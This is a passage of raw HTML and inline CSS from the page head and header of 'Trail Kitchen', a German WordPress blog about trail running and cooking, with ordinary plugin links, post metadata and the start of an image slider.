0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
/*# sourceURL=global-styles-inline-css */
</style>

<link rel='stylesheet' id='cpsh-shortcodes-css' href='https://www.trail-kitchen.com/wp-content/plugins/column-shortcodes//assets/css/shortcodes.css?ver=1.0.1' type='text/css' media='all' />
<link rel='stylesheet' id='contact-form-7-css' href='https://www.trail-kitchen.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.1.5' type='text/css' media='all' />
<link rel='stylesheet' id='fb-widget-frontend-style-css' href='https://www.trail-kitchen.com/wp-content/plugins/facebook-pagelike-widget/assets/css/style.css?ver=7.0.1' type='text/css' media='all' />
<link rel='stylesheet' id='respslidercss-css' href='https://www.trail-kitchen.com/wp-content/plugins/responsive-header-image-slider/css/responsiveimgslider.css?ver=3.2.1' type='text/css' media='all' />
<link rel='stylesheet' id='swpm.common-css' href='https://www.trail-kitchen.com/wp-content/plugins/simple-membership/css/swpm.common.css?ver=4.7.2' type='text/css' media='all' />
<link rel='stylesheet' id='thickbox.css-css' href='https://www.trail-kitchen.com/wp-includes/js/thickbox/thickbox.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='dashicons-css' href='https://www.trail-kitchen.com/wp-includes/css/dashicons.min.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='thickbox-css' href='https://www.trail-kitchen.com/wp-includes/js/thickbox/thickbox.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='wpos-slick-style-css' href='https://www.trail-kitchen.com/wp-content/plugins/wp-slick-slider-and-image-carousel/assets/css/slick.css?ver=3.7.8' type='text/css' media='all' />
<link rel='stylesheet' id='wpsisac-public-style-css' href='https://www.trail-kitchen.com/wp-content/plugins/wp-slick-slider-and-image-carousel/assets/css/wpsisac-public.css?ver=3.7.8' type='text/css' media='all' />
<link rel='stylesheet' id='adenit-main-style-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/style.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='owl-carousel-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/owl.carousel.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='magnific-popup-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/magnific-popup.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='adenit-mediaquery-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/mediaquery.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/font-awesome.min.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='fontello-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/fontello.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='icomoon-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/icomoon.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='animsition-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/animsition.min.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='perfect-scrollbar-css' href='https://www.trail-kitchen.com/wp-content/themes/aden/css/perfect-scrollbar.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='adenit-oswald-font-css' href='//fonts.googleapis.com/css?family=Oswald%3A100%2C300%2C400%2C700&#038;subset=latin%2Clatin-ext&#038;ver=1.0.0' type='text/css' media='all' />
<link rel='stylesheet' id='adenit-playfair-font-css' href='//fonts.googleapis.com/css?family=Playfair+Display%3A400%2C700&#038;subset=latin%2Clatin-ext&#038;ver=1.0.0' type='text/css' media='all' />
<link rel='stylesheet' id='adenit-opensans-font-css' href='//fonts.googleapis.com/css?family=Open+Sans%3A400italic%2C400%2C600italic%2C600%2C700italic%2C700&#038;subset=latin%2Clatin-ext&#038;ver=1.0.0' type='text/css' media='all' />
<link rel='stylesheet' id='tablepress-default-css' href='https://www.trail-kitchen.com/wp-content/tablepress-combined.min.css?ver=89' type='text/css' media='all' />
<link rel='stylesheet' id='wpgdprc-front-css-css' href='https://www.trail-kitchen.com/wp-content/plugins/wp-gdpr-compliance/Assets/css/front.css?ver=1706888239' type='text/css' media='all' />
<style id='wpgdprc-front-css-inline-css' type='text/css'>
:root{--wp-gdpr--bar--background-color: #000000;--wp-gdpr--bar--color: #ffffff;--wp-gdpr--button--background-color: #000000;--wp-gdpr--button--background-color--darken: #000000;--wp-gdpr--button--color: #ffffff;}
/*# sourceURL=wpgdprc-front-css-inline-css */
</style>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/responsive-header-image-slider/js/jquery.slides.min.js?ver=3.2.1" id="respsliderjs-js"></script>
<script type="text/javascript" id="wpgdprc-front-js-js-extra">
/* <![CDATA[ */
var wpgdprcFront = {"ajaxUrl":"https://www.trail-kitchen.com/wp-admin/admin-ajax.php","ajaxNonce":"2f38465199","ajaxArg":"security","pluginPrefix":"wpgdprc","blogId":"1","isMultiSite":"","locale":"de_DE","showSignUpModal":"","showFormModal":"","cookieName":"wpgdprc-consent","consentVersion":"","path":"/","prefix":"wpgdprc"};
//# sourceURL=wpgdprc-front-js-js-extra
/* ]]> */
</script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/wp-gdpr-compliance/Assets/js/front.min.js?ver=1706888239" id="wpgdprc-front-js-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/spider-event-calendar/elements/calendar.js?ver=1.5.65" id="Calendar-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/spider-event-calendar/elements/calendar-setup.js?ver=1.5.65" id="calendar-setup-js"></script>
<script type="text/javascript" src="https://www.trail-kitchen.com/wp-content/plugins/spider-event-calendar/elements/calendar_function.js?ver=1.5.65" id="calendar_function-js"></script>
<link rel="https://api.w.org/" href="https://www.trail-kitchen.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.trail-kitchen.com/xmlrpc.php?rsd" />
        <script type="text/javascript">
            jQuery(document).ready(function($) {
                $('#respond').html('<div class="swpm-login-to-comment-msg">Bitte melden Sie sich an, um einen Kommentar zu hinterlassen.</div>');
            });
        </script>
          <script>
    var xx_cal_xx = '&';
  </script>
  <style>.lsi-social-icons li a { line-height: 24px !important; height: 24px !important; width: 24px !important; } .col-2 .googleplus-share { display: none !important; }

.wp-caption {
    border: none;
    max-width: 100%;
    padding: 0;
}
.logo {
	max-width:1px;
}.header-center > .center-max-width {
	padding-top:100px;
	height:0px;
}@media screen and ( max-width: 480px ) {
	.header-center > .center-max-width {
		padding:100px 0;
		height: auto;
	}	
}.header-bottom > .center-max-width {
	    position: relative;
	    text-align: center;
	}.nav {
	   display: table;
	   margin: 0 auto;
	}.header-top,
		.header-center,
		.header-bottom,
		.adenit-breadcrumbs {			
	    margin: 0 auto;
		max-width:1180px;
	}.top-nav {
    	margin-left: 15px;
	}.header-bottom {
	    box-shadow: none;
	}.header-bottom {
	    border-bottom-width: 1px;
	    border-style: solid;
	}.header-center{
		background-image: url();
		background-size: 		cover;
		background-repeat: 		no-repeat;
		background-attachment: 	scroll;
		background-position: 	center center;

	}body{
		background-image: url();
		background-size: 		auto;
		background-repeat: 		repeat;
		background-attachment: 	fixed;
		background-position: 	left top;

	}.main-sidebar {
    width: 330px; 
}.fixed-sidebar {
    width: 330px;
    right: -330px; 
}.main-container {
		width: 100%;
	}.center-max-width {
	max-width:1180px;
}.main-container-wrap {
	margin:45px 0px;		        
}.main-post,
		.search-post {
	margin-bottom:45px;		        
}.main-sidebar {
	padding-right: 30px;
}.main-container + .main-sidebar {
	padding-left: 30px;
	padding-right: 0; 
}.main-sidebar .adenit-widget,
		.fixed-sidebar .adenit-widget {
	margin-bottom: 45px;
}.single-pagination .previous {
	width: calc((100% - 30px) / 2);
	width: -webkit-calc((100% - 30px) / 2);
	margin-right:30px;        
}.single-pagination .next {
	width: calc((100% - 30px) / 2);
	width: -webkit-calc((100% - 30px) / 2);    
}.adenit-link,
	.adenit-quote {
    font-family: "Playfair Display";
    font-size: 24px;
}

.adenit-quote-author,
.adenit-link-author {
	font-family: "Open Sans";
    font-size: 18px;
}.col-2 .entry-video,
		.col-2 .entry-gallery, 
		.col-2 .entry-thumbnail,
		.col-3 .entry-video,
		.col-3 .entry-gallery, 
		.col-3 .entry-thumbnail {
	margin-bottom: 15px;
}.adenit-carousel .owl-prev {
	    left: -50px;
	}.adenit-carousel .owl-next {
	    right: -50px;
	}.carousel-category {
			font-size: 12px;
			letter-spacing: 1px;
			margin-bottom: 8px;
			font-weight: 600;
	   }
	
	   .carousel-title {
			font-size: 41px;
			letter-spacing: 0.5px;
			line-height: 44px;
			margin-bottom: 16px;
	   }

		.carousel-comment,
		.carousel-like {
		    padding: 4px 6px;
		}.footer-bottom {
		margin: 0 auto;
		max-width:1180px;
	}.footer-logo a {
	max-width:1px;
}.inst-widget {
		bottom: 0px;
	}.header-top {
    background-color: #262626;
}.top-nav > ul > li > a,
		.header-top-social a i {
    color: #ffffff;
}.top-nav > ul > li > a:hover,
		.header-top-social a:hover i,
		.header-top-social a:focus i,
		.top-nav li.current-menu-item > a,
		.top-nav li.current-menu-ancestor > a {
    color: #c7a770;
}.fixed-sidebar-btn {
    color: #444444;
    background-color: #ffffff;
}.fixed-sidebar-btn:hover {
    color: #c7a770;
}.search-btn {
    color: #ffffff;
    background-color: #262626;
}.search-btn:hover {
    color: #ffffff;
}.header-bottom,
		 .fixed-header-bottom,
		 .nav .sub-menu > li > a,
		 .nav-mobile {
    background-color: #ffffff;
}.nav > ul > li > a,
		.nav .sub-menu > li > a,
		.nav-mobile li a,
		.nav-btn,
		.sub-menu-btn-icon,
		.carousel-btn {
    color: #222222;
}.nav > ul > li > a:hover,
		.nav .sub-menu > li > a:hover,
		.nav-mobile li a:hover,
		.nav-btn:hover,
		.carousel-btn:hover,
		.nav li.current-menu-item > a,
		.nav li.current-menu-ancestor > a {
    color: #c7a770;
}.nav .sub-menu > li > a:hover:before  {
    border-color: transparent transparent transparent #c7a770;
}.nav .sub-menu {
    border-color: #c7a770;
}.nav .sub-menu > li > a:before  {
    border-color: transparent transparent transparent #f4f4f4;
}.nav .sub-menu > li > a {
    border-color:#f4f4f4;
}body,
		.single-pagination-info {
    background-color: #ffffff;
}.single-pagination-info:hover p {
    color:#ffffff;
}#s:focus + .submit,
		.header-search-input:focus +.header-search-button,
		#wp-calendar tbody td:hover a,
		#wp-calendar tbody td:hover,
		#wp-calendar caption,
		.carousel-comment:hover span:first-child:before,
		.carousel-like:hover span:first-child:before {
    color: #ffffff;
    background-color: #774300;
}.nav > ul > li:after,
		.entry-content hr {
	color: #ffffff;
    background-color: #e8e8e8;
}.carousel-comment:hover,
		.carousel-like:hover,
		.meta-categories a:before,
		.meta-categories a:after,
		.instagram-title h3,
		.entry-content  blockquote {
    border-color: #774300;
}.meta-categories a:hover,
		.adenit-widget ul li > a:hover,
		#wp-calendar tfoot #prev a:hover,
		#wp-calendar tfoot #next a:hover,
		.adenit-widget ul li span a:hover,
		.carousel-title a:hover,
		a,
		.adenit-breadcrumbs li:hover a,
		.comment-author a:hover,
		.carousel-comment:hover a,
		.carousel-like:hover a,
		.meta-author-date a,
		.meta-tags a:hover,
		.meta-like-comm a:hover,
		.page-links a,
		.adenit-breadcrumbs li strong,
		.related-posts h4 a:hover,
		.single-pagination-info:hover h4 {
    color:#774300;
}.active span,
		.search-separator,
		.ps-container > .ps-scrollbar-y-rail > .ps-scrollbar-y {
    background-color:#774300 !important;
}.meta-categories a,
		.carousel-quote,
		.post-title,
		.post-title a,
		.widget-title,
		.related-posts h3,
		.related-posts h4 a,
		.meta-author-description h4,
		.next-post-title a,
		.prev-post-title a,
		.comments-area h2,
		.comment-reply-title,
		.next-post-icon a,
		.prev-post-icon a,
		.comment-author a,
		.comment-author,
		.author-info h4 a,
		.fixed-sidebar-close-btn,
		.single-pagination-info {
	color: #111111;
}body,
		.adenit-widget,
		.adenit-widget ul li > a,
		#wp-calendar tbody td,
		.wpcf7 input[type="text"],
		.wpcf7 input[type="email"],
		.wpcf7 textarea,
		.comments-area input[type="text"],
		.comments-area textarea,
		.entry-content,
		.author-info p,
		.entry-comments,
		#respond,
		.fourzerofour p,
		#s,
		.page-links {
	color: #000000;
}.widget-title h3:before,
		.widget-title h3:after,
		.meta-share-wrap .meta-share:before,
		.meta-share-wrap .meta-share:after,
		.widget_recent_entries ul li,
		.widget_recent_comments li,
		.widget_meta li,
		.widget_recent_comments li,
		.widget_pages li,
		.widget_archive li,
		.widget_categories li,
		.children li,
	    #wp-calendar,
	    #wp-calendar tbody td,
		.search #s,
	    .entry-comments,
	    .adenit-widget select,
	    .meta-author-description,
	    .comment-title h2:before,
		.comment-title h2:after,
	    .related-posts h3:before,
		.related-posts h3:after,
		.search-thumbnail i,
		.widget_nav_menu li a,
		.wpcf7 input[type="text"],
		.wpcf7 input[type="email"],
		.wpcf7 textarea,
		.comments-area input[type="text"],
		.comments-area textarea,
		.wp-caption,
		.entry-content table tr,
		.entry-content table th,
		.entry-content table td,
		.entry-content abbr[title],
		.entry-content pre,
		.meta-tags a,
		.meta-like-comm a,
		.meta-share a,
		.meta-author-description,
		.adenit-breadcrumbs,
		.carousel-quote,
		.header-bottom {
	border-color:#e8e8e8;
}.meta-author-date,
		.meta-tags a,
		.meta-like-comm a,
		.related-posts .meta-date,
		.comment-info,
		.comment-info a,
		.widget_recent_entries ul li span,
		.comment-date a,
		.widget_categories li,
		.widget_archive li,
		.gallery .gallery-caption,
		.meta-share a,	
		.adenit-breadcrumbs li a,
		.adenit-breadcrumbs li {
	color:#aaaaaa;
}::-webkit-input-placeholder {
	color: #aaaaaa;
}:-moz-placeholder {
	color: #aaaaaa;
}::-moz-placeholder { 
	color: #aaaaaa;
}:-ms-input-placeholder {
	color: #aaaaaa;
}.adenit-breadcrumbs,
		.entry-comments,
		.wpcf7 input[type="text"],
		.wpcf7 input[type="email"],
		.wpcf7 textarea,
		.comments-area input[type="text"],
		.comments-area textarea,
		.meta-author-description,
		.header-search-input,
		.search #s,
		.carousel-quote {
	background-color:#f9f9f9;
}.read-more a,
		.wpcf7 input[type="submit"]:hover,
		 #submit,
		.default-pagination .next a,
		.default-pagination .previous a,
		.numbered-pagination a,
		.reply a,
		.tagcloud a,
		.header-search-button,
		.submit {
    background-color: #333333;
    color: #ffffff;
}.read-more a:hover {
    padding: 0px 30px;
}.read-more a:hover,
		 #submit:hover,
		.wpcf7 input[type="submit"],
		.default-pagination .next:hover a,
		.default-pagination .previous:hover a,
		.numbered-pagination a:hover,
		.numbered-pagination span,
		.reply a:hover,
		.tagcloud a:hover {
	background-color: #8d8d8d;
	color: #ffffff;
}.footer-social,
		.instagram-title {
     background-color: #333333;
}.instagram-title,
		.footer-social a,
		.footer-social a i {
    color: #ffffff;
}.footer-social a i {
    border-color: #ffffff;
}.footer-social a:hover i,
		.footer-social a:focus i {
    border-color: #c7a770;
    background-color: #c7a770;
    color: #ffffff;
}.footer-social a:hover,
		.footer-social a:focus {
    color: #c7a770;
}.footer-widget .adenit-widget,
		.footer-widget .adenit-widget .widget-title,
		.footer-widget .adenit-widget ul li > a,
		.footer-widget .adenit-widget #wp-calendar tbody td,
		.footer-widget .adenit-widget .widget_recent_entries ul li span,
		.footer-widget .adenit-widget .widget_categories li,
		.footer-widget .adenit-widget .widget_archive li {
	color: #ffffff;
}.footer-widget #wp-calendar a,
		.footer-widget .adenit-widget ul li > a:hover,
		.footer-widget .adenit-widget #wp-calendar tfoot #prev a:hover,
		.footer-widget .adenit-widget #wp-calendar tfoot #next a:hover,
		.footer-widget .adenit-widget ul li span a:hover {
	color: #c7a770;
}.footer-widget  #wp-calendar tbody td:hover a,
		.footer-widget  #wp-calendar tbody td:hover,
		.footer-widget  #wp-calendar caption {
	background-color: #c7a770;
}.footer-widget .widget-title h3:before,
		.footer-widget .widget-title h3:after,
		.footer-widget .widget_recent_entries ul li,
		.footer-widget .widget_recent_comments li,
		.footer-widget .widget_meta li,
		.footer-widget .widget_recent_comments li,
		.footer-widget .widget_pages li,
		.footer-widget .widget_archive li,
		.footer-widget .widget_categories li,
		.footer-widget .children li,
	    .footer-widget #wp-calendar,
	    .footer-widget #wp-calendar tbody td,
		.footer-widget .search #s,
	    .footer-widget .adenit-widget select,
		.footer-widget .widget_nav_menu li a {
	border-color: #ffffff;
}.footer-widget-area,
		.footer-bottom {
    background-color: #242424;
}.copyright {
    color: #999999;
}.scrolltotop,
		.copyright a {
    color: #c7a770;
}.scrolltotop:hover,
		.copyright a:hover {
    color: #ffffff;
}</style><meta property="og:image" content="https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-850x567.jpg"/><meta property="og:image:width" content="850"/><meta property="og:image:height" content="567"/><meta property="og:title" content="Ein Jahr Training, Wandern und Trail Running mit Never Stop Munich"/><meta property="og:description" content="Geburtstage zu feiern finde ich großartig! Denn das bedeutet für mich immer eine tolle Zeit mit lieben Menschen zu verbringen und Etwas schönes zu unternehmen. Und selbstverständlich darf ein Geburtstagskuchen nicht fehlen. In dieser Woche habe ich sogar zwei Geburtstage feiern dürfen: Zum einen ist " /><meta property="og:url" content="https://www.trail-kitchen.com/ein-jahr-training-wandern-und-trail-running-mit-never-stop-munich/"/><meta property="og:locale" content="de" /><meta property="og:site_name" content="Trail Kitchen"/><style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>	<!-- Include js plugin -->
<link rel='stylesheet' id='spcalendar-jos-css' href='https://www.trail-kitchen.com/wp-content/plugins/spider-event-calendar/elements/calendar-jos.css?ver=1.5.65' type='text/css' media='' />
<link rel='stylesheet' id='wp-color-picker-css' href='https://www.trail-kitchen.com/wp-admin/css/color-picker.min.css?ver=6.9.4' type='text/css' media='all' />

</head>

<body class="archive date wp-theme-aden " >

<!-- Close Plus Sidebar -->
<div class="fixed-sidebar-close"></div>
<!-- Close Plus Sidebar -->
<div class="fixed-sidebar" data-width="330">
	<div class="fixed-sidebar-close-btn">
		<i class="fa fa-reply"></i>
	</div>
	</div>

<div class="main-wrap">
<!-- Search Form -->
<form  method="get" id="searchform" class="header-search-form container" action="https://www.trail-kitchen.com/"><div class="outer"><div class="inner"><div class="search-input-wrap"><input type="text" name="s" id="ss" class="header-search-input" placeholder="What are you looking for?" autocomplete="off" /><button type="submit" class="header-search-button" name="submit" ><i class="fa fa-search" ></i></button></div></div></div></form>
<!-- HEADER -->
<header class="header-wrap">
	<!-- Header Top -->
		<div class="header-top">
		<div class="center-max-width">

			<div class="header-btns">
				<!-- Search Open Button -->
				<span class="search-btn">
			    	<i class="fa fa-search"></i>
			    </span>
								
			</div>
		    
		
			<div class="header-top-social"><a href="https://www.facebook.com/trailkitchen" target="_blank"><i class="fa fa-facebook"></i><span class="social-info" >Facebook</span></a><a href="https://vimeo.com/trailkitchen" target="_blank"><i class="fa fa-vimeo-square"></i><span class="social-info" >Vimeo</span></a><a href="http://instagram.com/trail_kitchen" target="_blank"><i class="fa fa-instagram"></i><span class="social-info" >Instagram</span></a></div><nav class="top-nav"><ul id="menu-topmenue" class=""><li id="menu-item-107" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://www.trail-kitchen.com/datenschutz/">Datenschutz</a></li>
<li id="menu-item-108" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://www.trail-kitchen.com/impressum/">Impressum</a></li>
<li id="menu-item-226" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-226"><a href="https://www.trail-kitchen.com/kontakt/">Kontakt</a></li>
<li id="menu-item-830" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-830"><a href="https://www.trail-kitchen.com/kooperationen/">Kooperationen</a></li>
</ul></nav>			<div class="clear"></div>
		</div>
	</div>
	
	

	<!-- Header Center -->

<div class="center-max-width">
		  <div id="slides" class="design-1 sp-rhimgs-slider-1">
	<div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" fetchpriority="high" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/pastaparty-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/puffer-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
